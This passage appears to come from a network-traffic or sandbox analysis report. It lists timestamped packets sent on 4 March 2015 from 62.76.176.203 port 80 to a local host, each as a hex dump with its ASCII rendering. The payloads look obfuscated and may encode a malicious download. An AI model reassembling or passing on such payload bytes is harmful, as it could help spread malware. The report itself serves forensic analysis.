Mrz 4, 2015 14:54:12.533891916 MEZ80103262.76.176.203192.168.1.10Data Raw: 1e 4b 2f 1f 09 11 16 11 48 4f 37 2b 22 2e 35 0b 0a 1c 1d 48 4e 3e 2d 4a 31 4d 12 2c 00 02 0b 1b 2b 49 13 2d 29 4b 19 4a 1a 4f 35 2d 29 1e 11 19 21 34 3b 0d 39 57 1d 2b 2b 0f 4e 49 2b 4a 0b 3a 32 3f 00 53 2c 29 2b 2b 2d 1a 00 10 1d 19 28 21 16 00
Data Ascii: K/HO7+".5HN>-J1M,+I-)KJO5-)!4;9W++NI+J:2?S,)++-(!H .3I+ SS?(M=;+.5(IO2+@KK22NJ+H:J*=,+:H057,,*SN<>H">6-/L*(N:2!6?,*-NIAAM+./@:?3HM!,+.59?+5=3?/".
231
Mrz 4, 2015 14:54:12.534312010 MEZ80103262.76.176.203192.168.1.10Data Raw: 3d 4c 3f 3f 1b 3e 32 3d 2f 31 1f 00 10 0f 4e 53 02 49 0e 1e 40 14 0b 2c 2d 00 09 4b 0d 49 32 30 3f 32 0b 1f 1a 19 0a 48 02 4d 32 28 48 1c 0c 2b 0b 02 20 33 1a 3e 0d 1c 0c 21 1f 2b 2d 0e 30 3f 19 2f 49 1e 4a 2e 40 2b 2d 0b 11 41 17 17 08 3a 36 21
Data Ascii: =L??>2=/1NSI@,-KI20?2HM2(H+ 3>!+-0?/IJ.@+-A:6!@,,+N!J/")N"7>+O+,I?053-,KS).A*<ISJ"+--,II/6AK/4HI+*K!<,,SJ?-<*J9L 2N<OWW6.,-*-"H7+!I2;?>+/I+
233
Mrz 4, 2015 14:54:12.534317017 MEZ80103262.76.176.203192.168.1.10Data Raw: 3c 3a 10 2c 2f 29 49 1e 2f 2d 3d 4c 53 15 35 2d 0c 57 15 31 2d 15 3d 31 2f 4b 22 0c 16 4d 2a 33 53 32 4e 08 14 12 32 21 0e 01 3a 0f 16 1d 28 4d 31 32 1c 2c 2e 36 53 28 15 33 3a 1c 4a 49 33 21 41 2e 57 31 2d 13 00 2b 14 15 32 2e 02 4c 08 29 4e 1d
Data Ascii: <:,/)I/-=LS5-W1-=1/K"M*3S2N2!:(M12,.6S(3:JI3!A.W1-+2.L)N;H:,./+/5)/-.9IL)(-=@K>K@23-2L2)/S4<=:74!)I5>2=JK@6@+A4J!/+!"41>H9":.!2/-(J4 !+"+J0/,M/0>2">!604,+O>J
234
Mrz 4, 2015 14:54:12.534723997 MEZ80103262.76.176.203192.168.1.10Data Raw: 30 30 4c 1b 20 35 4d 2d 4b 3f 40 01 37 20 2f 22 2c 01 3b 36 49 08 2a 41 29 32 4c 21 2c 32 00 10 48 20 1d 35 2f 3b 0d 11 2e 2a 3e 2c 11 32 0f 15 02 32 53 19 28 20 4d 13 49 1a 01 10 35 3f 30 20 2f 4f 2f 28 14 2c 3c 21 2e 2e 4d 34 2f 0c 34 2b 14 57
Data Ascii: 00L 5M-K?@7 /",;6I*A)2L!,2H 5/;.*>,22S( MI5?0 /O/(,<!..M4/4+W2,)N?LA/N)76 3 <, .AL(;,J(:(0:L34().>-W?J60II2"SW@M:+2N))A14)W)JJ)H?>ILK->;6+AJ(9/MH0!HM?.K;H,-;KI?O-=2*32?
236
Mrz 4, 2015 14:54:12.541235924 MEZ80103262.76.176.203192.168.1.10Data Raw: 09 2d 22 16 33 12 2d 21 3f 0e 2d 2e 30 30 48 3a 20 3f 22 4e 0a 13 41 49 2f 33 0d 36 1d 0a 3d 1b 17 3e 1e 49 4d 1d 32 37 1a 2a 1e 4a 0b 0a 32 0c 22 1c 14 28 4b 4b 20 0b 0b 2f 3d 09 2d 0a 1d 32 4b 0a 30 21 57 1c 21 12 3e 2a 4f 10 1a 00 0d 20 33 02
Data Ascii: -"3-!?-.00H: ?"NAI/36=>IM27*J2"(KK /=-2K0!W!>*O 3-26!!"42*596"+ K5>.")2@/=IW55555555555555555555555555555555555555555555555555555555555555
237
Mrz 4, 2015 14:54:12.541246891 MEZ80103262.76.176.203192.168.1.10Data Raw: 49 16 57 15 0e 4e 40 37 31 31 2c 15 0c 08 22 19 3c 01 19 2d 21 1b 2a 11 4c 49 3b 32 0a 39 39 37 31 32 0f 17 14 30 10 2f 17 0f 17 08 1b 4c 1d 11 4b 53 41 11 1b 08 32 1f 17 0c 28 3e 32 2a 10 4d 3c 09 3e 4f 17 31 4a 08 57 3e 4a 10 29 4e 19 1a 1b 01
Data Ascii: IWN@711,"<-!*LI;2997120/LKSA2(>2*M<>O1JW>J)N>*J>)!*/<5SI4?(5<>3*0HL@6,6"*O .?+A5J- N04S+(9*WSN*4">6"")7,61+O1A0>!HJM-@*91A<!<16 *!A)+6
239
Mrz 4, 2015 14:54:12.541251898 MEZ80103262.76.176.203192.168.1.10Data Raw: 3c 49 32 2e 2d 14 32 2d 2f 12 31 33 39 31 0e 2e 30 14 35 14 15 1f 40 13 20 11 00 12 2c 53 28 3d 57 13 41 49 13 36 32 40 4b 20 0b 2d 40 14 3d 21 02 4e 2d 4c 0c 2a 3c 11 4e 4c 00 4b 16 1c 15 1a 40 22 3d 28 20 2c 31 4b 16 1c 2e 14 48 3f 4b 2d 22 3e
Data Ascii: <I2.-2-/1391.05@ ,S(=WAI62@K -@=!N-L*<NLK@"=( ,1K.H?K-">9K<1)9-!MM?452,@S-OII!5*@ :.9)-AO6*->(5-0.H!M!1,SHS35 W5H;W/4OM!40W>K2,5.A@46 0>0 +<K/"=)"OH"3
240
Mrz 4, 2015 14:54:12.541255951 MEZ80103262.76.176.203192.168.1.10Data Raw: 02 3d 3f 3d 1f 09 2f 4e 08 37 13 4b 3e 02 31 14 11 12 41 0a 1f 2b 17 1f 3e 09 35 0f 2e 3d 36 2c 13 1c 16 4c 2e 30 22 4c 0a 10 4d 2b 1d 28 11 1b 4d 3b 31 17 15 08 4b 32 48 1c 40 36 35 08 36 2d 4d 1d 10 0c 0e 10 36 1b 0d 2f 1b 21 16 08 28 14 3c 1d
Data Ascii: =?=/N7K>1A+>5.=6,L.0"LM+(M;1K2H@656-M6/!(<KL2. :7;1-/:5!5555555555555555555555555555555555555555555555555555555555555555555
241
Mrz 4, 2015 14:54:12.541306973 MEZ80103262.76.176.203192.168.1.10Data Raw: 36 57 1c 21 21 14 1e 02 49 22 33 2c 3f 0a 1f 1d 1d 0f 41 2b 29 40 20 2c 3e 32 08 0f 2b 30 0b 1b 14 2c 49 2c 2e 32 00 0e 22 15 20 49 20 37 02 1a 30 4d 2a 2b 4a 3f 3b 21 4d 37 1f 2c 20 15 0c 21 1b 3f 20 0b 2f 0c 1d 12 3e 34 08 28 4a 0e 37 11 2e 2c
Data Ascii: 6W!!I"3,?A+)@ ,>2+0,I,.2" I 70M*+J?;!M7, !? />4(J7.,4+>1?02+:3,>?+(:<2M>@?;33(/4+/,>0<9M.0?>35??"9:?LW3+>O?A?4,(/< *.>*7/I-N(2;N(/(L/>SNW6+L
243
Mrz 4, 2015 14:54:12.541448116 MEZ80103262.76.176.203192.168.1.10Data Raw: 22 4a 3a 1c 36 2b 22 28 0c 49 48 19 1e 08 33 12 3d 15 31 00 15 53 3f 49 20 1c 48 0c 1a 4e 3a 3f 33 4c 4e 22 32 1d 1c 1b 3e 12 29 53 2d 14 4f 16 20 01 3e 2e 49 1b 0f 2d 57 3c 2d 29 16 10 11 1d 4a 4b 2a 4e 3d 13 41 2b 1f 30 10 1a 35 17 49 1e 28 2e
Data Ascii: "J:6+"(IH3=1S?I HN:?3LN"2>)S-O >.I-W<-)JK*N=A+05I(.S(/OS"6MWL>->*76.3>/;H(10A-4LK!!L)!L,5;261;JI,0SI.369.O9249.*I+:?.K*5+3-SI AI.166!N
243
Mrz 4, 2015 14:54:12.542751074 MEZ80103262.76.176.203192.168.1.10Data Raw: 01 4b 2f 0d 12 4c 16 10 09 4f 3d 08 0b 14 28 36 1c 02 17 0c 13 28 1c 33 0b 20 4f 4d 49 20 4a 32 0d 3c 17 16 2a 11 0b 14 1a 0f 36 32 10 21 1f 0c 1b 00 0a 39 02 31 4f 1e 14 4c 3f 15 0b 2e 20 3e 35 4d 1e 13 3b 16 41 3f 19 19 16 3e 1c 3f 36 4b 0b 1a
Data Ascii: K/LO=(6(3 OMI J2<*62!91OL?. >5M;A?>?6K-.=913SS75J*I!>,..*2) 6*6A?:.O4IAKA.;!-/*?; W.-"-=A!);555555555555555555555555555555555555555
245
Mrz 4, 2015 14:54:12.542758942 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 37 4f 0a 0d 22 34 00 36 39 3d 4d 37 3c 39 14 1b 4f 28 2a 36 0f 02 3d 2e 2e 3b 1a 41 19 2e 41 10 00 2e 12 29 17 3f 17 41 21 4f 53 08 4c 30 16 22 14 0f 3e 1e 0b 1e 1c 12 0e 3c 3e 1b 0f 1f 20 31 21 1a 1e 0d 4c 2c 2d 48 57 11 0e 37 1c 0f 41 14 2e
Data Ascii: 57O"469=M7<9O(*6=..;A.A.)?A!OSL0"><> 1!L,-HW7A.67@-,)+<1J71) //. "5M)@450(("J! /5"/K3">JJ4K(24-"@@NM2<519*2OH.)5NJ:=K9!043"(7J60N.59:5<(I7
246
Mrz 4, 2015 14:54:12.542823076 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02
Data Ascii: 55555555555555555555555555555555555555555555555555555555555.!L:9;)9999999999999<22)+.N.M55!*++ 4S*A:-+I6HO32"S,+"*+MK>M!S/--9I2->.A+<K2J6,)N7J
248
Mrz 4, 2015 14:54:12.542865038 MEZ80103262.76.176.203192.168.1.10Data Raw: 2d 32 3a 34 3c 33 09 4c 3a 1d 16 49 2d 4c 53 00 2d 19 2c 4d 08 16 48 16 41 3b 13 57 36 15 2b 2f 3a 1d 2b 08 35 2b 1a 53 2f 16 3c 00 32 0c 19 36 2e 2b 19 21 22 0a 32 3e 13 3f 39 3b 4c 01 2e 00 2b 19 19 1d 4d 20 40 4a 0c 2e 4e 3d 01 1f 3d 09 10 4d
Data Ascii: -2:4<3L:I-LS-,MHA;W6+/:+5+S/<26.+!"2>?9;L.+M @J.N==M?>+")HA/HO:3"1 !>-M+/==3IS; K6-J *+-L/?0).9NM?I-N+<>0-+-+30)HJ//3+. *+!5*+O
248
Mrz 4, 2015 14:54:12.580110073 MEZ80103262.76.176.203192.168.1.10Data Raw: 49 4d 17 1c 4c 32 02 00 12 00 4e 2d 2c 2d 21 1c 4b 2b 0b 3b 49 36 1d 2d 22 36 39 1c 4a 1f 0c 2c 0f 2d 2d 1a 4f 21 14 1e 49 3d 29 0b 29 3d 48 19 11 1a 2a 28 15 16 01 3b 49 2b 09 2f 2b 2d 19 36 4a 1f 0c 2d 0e 48 2c 1b 2c 19 01 37 2f 10 4c 35 1d 29
Data Ascii: IML2N-,-!K+;I6-"69J,--O!I=))=H*(;I+/+-6J-H,,7/L5)/@"(:<I)1+L<(J<.,=>L+2HS:>3:,4 :H>:*,.7 <.*I3 5:;.H-:+ --"I,6I2HS:,!;2H2++-/=):S@AO17AH.=:+HA+?
250
Mrz 4, 2015 14:54:12.580251932 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 2e 21 0e 0b 1f 1d 02 3b 3c 39 3b 29 13 39 39 39 39 39 39
Data Ascii: 55555555555555555555555555555555.!;<9;)9999999999999:"K*2@!1I+91KAAN2I0IL-<J/)15J=5MJ=@+I/54>>?46>,@;=S/)I,?:N?;,3,I2O42NIO*H+9I+.+.<?J+7*SS";67-MI MW)
250
Mrz 4, 2015 14:54:12.945672989 MEZ80103262.76.176.203192.168.1.10Data Raw: 2e 4a 1d 0b 2c 12 2b 13 3b 2c 4b 10 41 3f 02 3d 2b 1b 3a 4e 2f 2d 3a 3b 1d 4f 4d 37 2c 1c 1c 1b 35 20 4f 4d 00 01 3f 49 15 2d 0d 3c 0e 3f 14 32 20 1a 3f 2b 01 13 41 4a 37 2c 53 19 4e 0b 14 0f 0e 20 13 3c 1b 3f 29 2a 0d 14 33 41 2b 2b 39 4e 13 15
Data Ascii: .J,+;,KA?=+:N/-:;OM7,5 OM?I-<?2 ?+AJ7,SN <?)*3A++9N2HJ=*O56(M>3>44=)4I/*JLJ2/HI"5M) >*OHJ:@0O; !50J9KK>+ /(<2I3!"-*>9"+-:O>SN IIIJ=7L*-JK,O*
252
Mrz 4, 2015 14:54:12.945691109 MEZ80103262.76.176.203192.168.1.10Data Raw: 4a 0b 3b 13 16 39 19 11 1c 4d 41 0f 35 2e 3e 2c 16 02 49 32 21 2a 2e 0b 4a 2d 02 1a 0a 3f 3e 11 4a 11 15 40 2b 14 3e 2b 33 21 4b 0d 41 3d 14 2d 40 28 00 12 19 2e 08 22 20 0f 3e 0c 2c 48 02 1e 4b 3d 2f 32 20 4b 1c 0b 11 36 16 28 35 2b 2f 14 19 0f
Data Ascii: J;9MA5.>,I2!*.J-?>J@+>+3!KA=-@(." >,HK=/2 K6(5+/I-9N.,I9?7,-,K>+A ==H70+<J;-,,7=<O+S!-N!-I:3!K<N+-00,IK-ISN9"K+.2@HA4L2K0;>/N-:").*-0<,A:- O6+OIS6H*6
253
Mrz 4, 2015 14:54:12.945693016 MEZ80103262.76.176.203192.168.1.10Data Raw: 1d 2e 1e 35 11 3d 36 3c 41 34 32 3e 02 1e 30 4d 0f 49 1a 1a 3b 2d 09 3b 3f 11 33 0b 2b 48 3a 02 1e 19 1d 3a 39 33 22 1b 35 2e 3a 0a 3f 12 4d 12 1a 4a 30 4b 31 20 1c 2b 2a 40 3c 1d 22 4a 30 3e 2f 36 09 3d 3c 4f 49 16 21 15 2c 0b 2c 4e 48 32 4b 0b
Data Ascii: .5=6<A42>0MI;-;?3+H::93"5.:?MJ0K1 +*@<"J0>/6=<OI!,,NH2K5555555555555555555
253
Mrz 4, 2015 14:54:12.945852995 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02
Data Ascii: 555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555>/4O109299999999999999J1IW4@+H02.>"5
255
Mrz 4, 2015 14:54:12.945857048 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 2e 21 0e 0b 1f 1d 0f 17 3b 39 3b 29 13 39 39 39 39 39 39 39 39 39 39 39 39 39 3c 20 19 4f 16 12 1c 48 20 49 12 0b 02
Data Ascii: 5555555555555555555555.!;9;)9999999999999< OH IHM93 :;7>N+N5!I:<41*L>K,)W7:"K"-*+",4S6-AN/0) 5N;O.MII@!;)5?H=41: H/OS1.*!;-@A0K =
256
Mrz 4, 2015 14:54:12.945869923 MEZ80103262.76.176.203192.168.1.10Data Raw: 3f 31 3f 4e 02 40 48 1d 0e 40 40 2c 34 22 2c 48 1e 3f 1a 12 4a 22 0c 10 13 00 2c 3b 2d 30 2e 10 4a 37 0b 39 22 15 0b 19 2c 4b 30 36 4b 3c 3d 0b 0e 49 17 48 1b 4a 10 13 4f 30 0b 2d 2c 01 22 19 1b 0d 10 08 4a 3d 35 2b 1e 00 0e 19 21 4a 15 0c 4a 1b
Data Ascii: ?1?N@H@@,4",H?J",;-0.J79",K06K<=IHJO0-,"J=5+!JJ9N7+/H,>7-9KIIA(S I";<A;9A+*=<@*??7,@-M-+;K/:3/):=J J>-N."6J;=A?>*J+-N".S).-M/> -2+*+A>0W*@)I"=*9A-<0I/SKI7
258
Mrz 4, 2015 14:54:12.946001053 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02
Data Ascii: 555555555555555555555555555555555555555555555555555
258
Mrz 4, 2015 14:54:12.946043015 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02
Data Ascii: 5555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555>/4O104992999999999999
260
Mrz 4, 2015 14:54:12.946048021 MEZ80103262.76.176.203192.168.1.10Data Raw: 3b 21 1a 3b 53 22 34 4d 0f 0e 30 15 14 4d 29 36 11 57 3e 0a 3a 49 14 3d 33 35 20 10 10 00 1c 19 2a 3a 0b 31 3d 08 1f 41 11 16 32 4d 35 4a 53 1a 2a 4e 0a 02 41 1a 36 34 32 48 0e 2b 3b 2f 19 31 13 1e 3a 3b 2a 35 12 4a 36 19 0b 02 35 02 35 02 35 02
Data Ascii: ;!;S"4M0M)6W>:I=35 *:1=A2M5JS*NA642H+;/1:;*5J6555555555555555555555555555555555555555555555555555555555555555555555555555555555555
261
Mrz 4, 2015 14:54:12.946173906 MEZ80103262.76.176.203192.168.1.10Data Raw: 3b 39 0e 32 0b 21 0c 11 3e 10 31 1e 3e 3c 14 1d 01 08 3f 16 16 01 1b 14 10 49 09 3e 35 0e 17 4d 36 17 0c 1c 0f 48 2f 08 1b 3c 15 0c 3a 2b 21 02 00 3d 32 0c 1b 1b 30 2c 21 19 34 14 00 4a 10 00 2c 19 14 30 20 30 0f 3b 00 1a 0e 49 0f 39 00 0f 14 2e
Data Ascii: ;92!>1><?I>5M6H/<:+!=20,!4J,0 0;I9.;57.J:>0,K==!*59*0?76">.@SWIK9!(K=6MH4NNO?OI.5MW HKH05**17J<>.!)A;<1K1="0=JA+(?9H!A
263
Mrz 4, 2015 14:54:12.946178913 MEZ80103262.76.176.203192.168.1.10Data Raw: 4d 11 0a 11 12 19 21 4b 34 1f 3f 3b 3a 0a 2b 00 2e 11 2d 4a 00 1c 16 1a 0f 01 2d 48 41 1d 14 30 34 1d 53 14 0f 48 1b 00 2c 4f 0e 49 0f 1d 53 2d 3e 2b 14 0d 1c 1c 1b 11 4a 1e 4a 30 49 12 3e 2c 1a 1e 1b 2e 1f 0d 15 36 4c 11 53 10 1b 41 31 00 00 1d
Data Ascii: M!K4?;:+.-J-HA04SH,OIS->+JJ0I>,.6LSA1>,23.=2O>@I:ISM+-OK6A+ >*<I!">3O(IN06+>:SII9MH:+SJ+:592M.)*IS2+S450S0<5+.576@@/=04A/9@S L+-3IS3:I
264
Mrz 4, 2015 14:54:12.946181059 MEZ80103262.76.176.203192.168.1.10Data Raw: 0b 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02 35 02
Data Ascii: 5555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555
266
Mrz 4, 2015 14:54:12.946208954 MEZ80103262.76.176.203192.168.1.10Data Raw: 1c 0c 20 32 20 21 1d 3d 08 2c 34 31 1b 30 0a 3a 11 0d 4c 53 4e 20 1e 4b 4d 28 48 33 30 19 3f 4a 20 13 1a 0a 49 32 22 3f 16 1f 32 4e 34 0d 16 33 29 1b 33 36 2b 4c 16 15 21 16 3c 17 33 3c 4a 1a 1e 19 15 00 0a 02 33 2f 08 2e 0c 4c 20 2b 1b 1d 2c 31
Data Ascii: 2 !=,410:LSN KM(H30?J I2"?2N43)36+L!<3<J3/.L +,1/:>2N:"(1"-5(< 3/2KM7:,6;;5/HI3/)2A4O/:(L!O1,@@2)7H/-+N"!?J HMI4LK+I6A6LL/IK55555555555555555555555
266
Mrz 4, 2015 14:54:12.946367025 MEZ80103262.76.176.203192.168.1.10Data Raw: 35 4b 3f 49 3c 4f 28 2a 08 21 11 3e 35 4a 09 4c 40 01 4b 12 0d 0b 2d 10 35 17 14 3e 4d 3d 16 1c 10 0b 0b 0f 1b 2d 3f 4a 4d 29 08 12 3b 36 2d 16 31 41 10 32 53 0b 13 3b 4c 41 4c 30 22 40 2e 09 34 0c 30 41 1f 1f 1d 2f 0b 22 4f 53 2d 2b 22 3b 35 0a
Data Ascii: 5K?I<O(*!>5JL@K-5>M=-?JM);6-1A2S;LAL0"@.40A/"OS-+";5=@-6>*K.JI>0! O95MAM>"O, 49">,"=/(=2.65J-,4K)7H>2! ;*HAM?A@OWHAO>2"!>2+;@I"+NO6IJ"!"K40?7I MIN
268
Mrz 4, 2015 14:54:12.946371078 MEZ80103262.76.176.203192.168.1.10Data Raw: 29 1c 2d 01 0a 0f 17 49 32 3c 2c 36 0a 2b 31 2e 2f 01 11 2e 1b 1c 4a 1f 0b 2b 0f 49 10 2d 2b 02 3b 36 4a 28 3b 35 2f 0f 21 09 48 2b 11 13 3d 17 29 01 3e 30 2b 1a 11 30 1d 1d 4d 29 21 2b 15 2e 01 09 4c 49 32 2f 08 2a 00 1e 34 0e 30 4c 3d 19 2d 37
Data Ascii: )-I2<,6+1./.J+I-+;6J(;5/!H+=)>0+0M)!+.LI2/*40L=-7?(,+O73H+KI2)!;//HN>-@-/7LAM/@I:N.:<.+KIN>?*;3+ @+)H/-*4K),,.SM5L-=;N=IW-6A+1:A/;I:2-N2L=,+3-K!H=
269
Mrz 4, 2015 14:54:12.946374893 MEZ80103262.76.176.203192.168.1.10Data Raw: 2c 28 2f 32 1a 02 37 49 36 0e 3e 4d 09 01 2f 20 53 4c 20 3b 08 2d 36 1c 0e 57 1b 3e 4f 13 15 4d 21 4c 2a 2e 2a 57 16 2a 16 08 4b 02 2e 48 2f 28 4e 19 4f 4d 57 4f 28 3a 35 3b 02 36 0c 29 3b 10 1e 1b 2b 00 1d 41 01 34 10 29 4a 1d 0d 21 16 31 48 02
Data Ascii: ,(/27I6>M/ SL ;-6W>OM!L*.*W*K.H/(NOMWO(:5;6);+A4)J!1H , 3O5,.:(4/H1HM,!!W:!*00+,,0 2S!9KWM<"*S@4JN*M,3HNM02" ->(> 1M)KLAI,.!(J/0?.+AJ2!3,>"9. .W.O>N/KAI5A 2SS1A3K63(
271
Mrz 4, 2015 14:54:12.946377993 MEZ80103262.76.176.203192.168.1.10Data Raw: 20 0f 30 31 3a 39 1d 00 4e 48 22 53 22 36 32 1b 32 28 2c 3f 2b 1f 1e 3a 4e 2b 14 3e 17 0e 16 4d 4c 4d 39 3b 0b 00 3f 2f 21 09 1f 3e 4f 4c 1d 12 08 19 0a 34 1d 2e 3d 08 0f 20 2b 02 41 12 21 37 12 3f 3b 31 2b 35 15 4a 21 30 3e 28 1e 1b 15 20 4a 14
Data Ascii: 01:9NH"S"622(,?+:N+>MLM9;?/!>OL4.= +A!7?;1+5J!0>( JISO7HK"(<"@LKWW1"!9 ;- ?2*N@A1/,"K4+-")"(0<O-(-)0>1,0=< OH)4(LHKAHI26L65*J, 05/J:(*L(-1(H)3;?,1A/0J3-4
272
Mrz 4, 2015 14:54:12.946463108 MEZ80103262.76.176.203192.168.1.10Data Raw: 00 4f 3e 34 29 37 4a 1b 41 13 01 08 11 2e 21 33 35 1e 17 33 3f 41 30 40 2c 34 3d 0f 37 2e 3e 30 0f 32 30 1f 11 4f 1c 2b 40 12 0e 19 3b 37 1d 3f 3a 08 22 13 48 2a 4c 01 39 41 20 1a 2d 1a 34 3f 48 2b 2f 49 3a 1b 1b 4a 00 0e 09 39 36 15 00 3f 16 17
Data Ascii: O>4)7JA.!353?A0@,4=7.>020O+@;7?:"H*L9A -4?H+/I:J96?"OO>K(I6J47>:0=:A*K!J1;27WO7MS@?.@LN:)"61L N;:);SO?;J-;9 H<3A;K5.H<4,I0O5H@1(/;-, !7S!
274
Mrz 4, 2015 14:54:12.946544886 MEZ80103262.76.176.203192.168.1.10Data Raw: 57 19 49 3a 3b 2d 19 0b 11 1d 15 1c 34 0c 3d 49 2b 0e 4f 4e 3f 49 4e 08 0f 36 21 11 4a 0b 08 37 00 3a 33 21 4c 48 22 0f 4e 48 14 48 2b 00 48 13 2e 4e 08 36 01 0a 1f 14 32 48 37 3a 36 1a 3d 39 4e 0a 4e 34 3b 11 19 3f 0e 32 2c 2a 2b 09 16 57 15 53
Data Ascii: WI:;-4=I+ON?IN6!J7:3!LH"NHH+H.N62H7:6=9NN4;?2,*+WS33.>?+.+L39.326/K I9;-I)-7M-?+H;"LNILS-*-9>S+M5O*.2K:LW!J26I+I2W*)".526J+"S;!WN2W<+:K!N3M
275
Mrz 4, 2015 14:54:12.946551085 MEZ80103262.76.176.203192.168.1.10Data Raw: 4f 2a 2f 3c 3b 17 3d 0d 3b 2d 2d 30 3c 48 4c 33 2d 20 2d 35 09 1f 57 49 00 1c 2b 30 4d 3a 15 49 2d 40 21 32 1f 0e 48 13 3e 09 0b 01 4e 4d 12 00 3b 1d 16 3b 4c 02 1e 35 3b 1d 08 3b 3f 36 34 30 36 0e 28 4e 1a 2f 2d 32 32 53 09 36 00 1e 39 0f 3c 3a
Data Ascii: O*/<;=;--0<HL3- -5WI+0M:I-@!2H>NM;;L5;;?6406(N/-22S69<:/*J(/A :!I:/ L,+/ HL5+).>::,NI:2N>@-*MMO+.H0AAK>+<*!15)2S,?6,0I K++N7<HM H95+I2":2J<J,-N3A>
277
Mrz 4, 2015 14:54:12.946664095 MEZ80103262.76.176.203192.168.1.10Data Raw: 2b 1b 0b 3e 08 36 41 2f 32 2f 2e 1e 1c 1c 35 1a 11 1d 1e 2e 0b 2c 02 1c 19 34 4c 3b 00 1c 4b 2a 0c 4a 0b 53 14 2d 16 1a 10 48 13 14 1d 08 49 3e 2e 41 2f 3e 11 39 4e 0d 40 35 2c 4d 15 17 13 3f 16 41 0a 1c 4a 12 0f 49 22 19 17 35 20 48 0a 22 48 12
Data Ascii: +>6A/2/.5.,4L;K*JS-HI>.A/>9N@5,M?AJI"5 H"HA->9/+HJ JH*.+O=4H3W-,S-?2HM+-;J3.2@1NI7>LI7+/=M7>NI2!5,K9N6I!7@6(N!W+K>M+ *7>K5+;/:" //WO
278
Mrz 4, 2015 14:54:12.946667910 MEZ80103262.76.176.203192.168.1.10Data Raw: 28 12 3e 28 2c 31 3f 11 12 2b 21 34 4f 34 3e 16 0a 2c 29 08 4e 21 08 39 00 4f 30 36 0b 28 09 2e 1e 20 1e 3e 32 2c 22 2f 41 2b 2d 14 0d 0f 20 3d 08 57 2e 0b 0f 1f 3f 2f 10 17 2b 4a 4b 2d 49 32 09 28 1b 3e 31 4f 36 41 32 2d 31 2d 01 08 4c 20 2a 4f
Data Ascii: (>(,1?+!4O4>,)N!9O06(. >2,"/A+- =W.?/+JK-I2(>1O6A2-1-L *O<22)*L+272>1-;2O(M2<=:+;40+ A2:I6?<)<620)K"7?6A/?<?(> H)?7I02L2!0>J->.-(S=9A"W2JNN?J6J25,*74SKI49(07?">
280
Mrz 4, 2015 14:54:12.946671009 MEZ80103262.76.176.203192.168.1.10Data Raw: 28 2b 1a 0f 00 4f 0f 31 36 14 1f 30 48 2d 08 4a 22 15 14 36 4d 29 3f 2d 3b 0a 15 2b 1b 49 4b 3e 00 00 09 22 0a 0f 16 48 10 0f 3f 12 48 20 19 22 02 0c 3e 29 32 4f 2e 2f 0d 37 1d 32 31 1b 35 2f 3d 09 2d 1a 1d 32 53 32 4d 22 4b 0d 32 2c 13 2a 02 15
Data Ascii: (+O160H-J"6M)?-;+IK>"H?H ">)2O./7215/=-2S2M"K2,*>O=*"H*12N;A,?I-)7= N26N ;=6W!9.H!/2J:)>>N!-,+I?9 72,.I10O@;6(;K K=II.;0;J"I*MK"4666:M(?0
281
Mrz 4, 2015 14:54:12.946674109 MEZ80103262.76.176.203192.168.1.10Data Raw: 2b 19 2c 4b 0b 28 53 01 00 2d 1c 1d 2b 19 2d 3e 35 1e 4d 09 48 2c 1b 3a 22 09 12 48 3a 57 3b 30 10 28 19 2e 2c 41 22 36 10 39 0c 3e 0f 36 3e 1a 1c 34 01 2e 10 41 2e 4d 0a 2b 36 1e 31 1f 1b 33 3a 1a 1c 22 1d 08 0f 41 2c 4a 4c 4f 0b 1c 4e 22 4c 16
Data Ascii: +,K(S-+->5MH,:"H:W;0(.,A"69>6>4.A.M+613:"A,JLON"L33A4SO)- ;?0@>+.M>+(!+ ;L735A5,M,4J?!== ,>K>-=I,555555555555555555555555555555555555
282
